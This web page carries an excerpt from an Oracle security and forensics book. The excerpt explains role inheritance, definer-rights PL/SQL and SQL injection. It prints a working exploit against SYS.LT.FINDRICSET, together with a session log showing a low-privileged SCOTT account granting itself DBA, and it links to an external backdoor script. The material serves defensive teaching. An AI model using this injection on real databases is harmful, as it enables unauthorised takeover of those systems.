 |
|
Oracle Forensics tips by Paul Wright
|
2008 Update
- For a complete treatment of the topic of Oracle security on the
web, see these books and resources:
From XKCD
Due to the
hierarchical inheritance of privileges through Roles, which can in
turn be granted to other Roles, it is likely that a user will
accidentally inherit a privilege that they should not have. Of
obvious concern is the lack of a specific DENY statement in Oracle’s
basic privilege commands. Microsoft’s SQL Server has the ability to
specifically DENY a user or Role a privilege but Oracle does not.
Oracle’s database privilege structure was designed pre-Internet
before security at the database was of great concern. It is
essential to enumerate the privileges of all users and Roles paying
special attention to the PUBLIC role which has many object
privileges granted to it which are not required.
“ANY”
privileges are to be avoided when possible; such as CREATE ANY
PROCEDURE which gives the user the ability to create a procedure in
another user’s schema. PLSQL procedures, by default, run with the
privileges of the schema within which they are created no matter who
invokes the procedure. In order for a PLSQL package to run with
invokers rights AUTHID CURRENT_USER has to be explicitly written
into the package. If a user can inject SQL into a definer package it
will run with the privileges of the definer (Schema user).
http://www.0xdeadbeef.info/code/orabackdoor.sql has code
designed to exploit this loophole.
SQL injection
The most common
bugs currently found in Oracle products are SQL Injections
especially in PLSQL procedures. I have found approximately 30 such
SQL injections in Oracle’s databases to date reported directly to
Oracle. David Litchfield has found hundreds over the years like the
one below. In order to defend from SQL injection issues it is
important to know how the vulnerabilities can be exploited.
ltfindrecset.sql
LT.FINDRECSET exploit and function
CONNECT
SCOTT/TIGER@ORCL
SET SERVEROUTPUT ON
CREATE OR REPLACE FUNCTION MYFUNC RETURN VARCHAR2 AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
DBMS_OUTPUT.PUT_LINE('In function…');
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'STR';
END;
/
EXEC SYS.LT.FINDRICSET('AA.AA''||SCOTT.MYFUNC)--','BBBB');
SQL> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - 64bi
PL/SQL Release 10.1.0.2.0 - Production
CORE 10.1.0.2.0
Production
TNS for Solaris: Version 10.1.0.2.0 - Production
NLSRTL Version 10.1.0.2.0 - Production
SQL> conn
scott/tiger@oragol;
Connected.
SQL> SET SERVEROUTPUT ON
CREATE OR REPLACE FUNCTION MYFUNC RETURN VARCHAR2 AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
DBMS_OUTPUT.PUT_LINE('In function.');
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'STR';
END;
/
SQL> 2 3 4
5 6 7 8
9
Function created.
SQL> select * from
user_role_privs;
USERNAME
GRANTED_ROLE
ADM DEF OS_
------------------------------ ------------------------------ ---
--- ---
SCOTT
CONNECT
NO YES NO
SCOTT
RESOURCE
NO YES NO
SQL> EXEC
SYS.LT.FINDRICSET('AA.AA''||SCOTT.MYFUNC)--','BBBB');
In function.
AA.AASTR
PL/SQL procedure successfully completed.
SQL> select * from
user_role_privs
2 ;
USERNAME
GRANTED_ROLE
ADM DEF OS_
------------------------------ ------------------------------ ---
--- ---
SCOTT
CONNECT
NO YES NO
SCOTT
DBA
NO YES NO
SCOTT
RESOURCE
NO YES NO
This should be
fixed in the latest CPU.
What is
happening in this code? In short, a low privileged user is able to
grant themselves DBA privileges. This can be done because the
SYS.LT.FINDRECSET procedure does not parse out user inputted SQL.
Not only that but because the procedure runs with Definer privileges
all code ran in this package is running with the privileges of the
account that owns the package i.e. the schema it is in, which is
SYS, (the most privileged account in the database). There are two
main design faults here. Firstly that a user can input their own SQL
and secondly that Oracle defaults all it’s PLSQL packages to Definer
rights unless specifically set to Invoker rights by the developer.
This is akin to all the files on a UNIX OS being SUID by default.
Therefore a very common method of gaining full control of an Oracle
database is to gain a low privileged account with a weak password
and escalate privilege to DBA via PLSQL injections like the one
above.
There will be
more examples of this and the vulnerability will be dealt with in
detail in chapter 7 which will also discuss how a vulnerability
researcher will go about finding these bugs and writing an exploit
for them. Later we will discuss new strategies for defending and
reacting to this threat. SQL injection is a problem for PLSQL
triggers as well as packages which will be exemplified in section
7.2
This is an excerpt from the book "Oracle
Forensics: Oracle Security Best Practices", by Paul M. Wright,
the father of Oracle Forensics.
